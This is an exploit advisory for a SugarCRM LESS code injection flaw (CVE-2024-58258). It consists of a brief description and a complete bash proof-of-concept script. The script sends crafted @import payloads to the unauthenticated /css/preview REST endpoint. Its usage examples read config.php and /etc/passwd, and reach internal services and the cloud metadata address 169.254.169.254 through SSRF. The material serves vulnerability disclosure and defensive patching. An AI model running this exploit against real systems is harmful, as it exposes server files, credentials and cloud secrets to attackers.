SugarCRM 14.0.0 - SSRF/Code Injection

# Exploit Title : SugarCRM 14.0.0 - SSRF/Code Injection
# Author: Egidio Romano aka EgiX
# Email : [email protected]

# Software Link: https://www.sugarcrm.com
# Affected Versions: All commercial versions before 13.0.4 and 14.0.1.
# CVE Reference: CVE-2024-58258
# Vulnerability Description:

User input passed through GET parameters to the /css/preview REST API
endpoint is not properly sanitized before parsing it as LESS code. This can
be exploited by remote, unauthenticated attackers to inject and execute
arbitrary LESS directives. By abusing the @import LESS statement, an
attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary
local files on the web server, potentially leading to the disclosure of
sensitive information.

# Proof of Concept:

#!/bin/bash

echo
echo "+----------------------------------------------------------------------+";
echo "| SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Exploit by EgiX |";
echo "+----------------------------------------------------------------------+";

if [ "$#" -ne 2 ]; then
    echo -ne "\nUsage.....: $0 <SugarCRM URL> <Local File or SSRF URL>\n"
    echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' 'config.php'"
    echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' '/etc/passwd'"
    echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
    echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
    exit 1
fi

urlencode() {
    echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
}

INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1&param=${INJECTION}")

if echo "$RESPONSE" | grep -q "________"; then
    echo -e "\nOutput for '$2':\n"
    echo "$RESPONSE" | sed '/________/q' | grep -v '________'
    echo
else
    echo -e "\nError: exploit failed!\n"
    exit 2
fi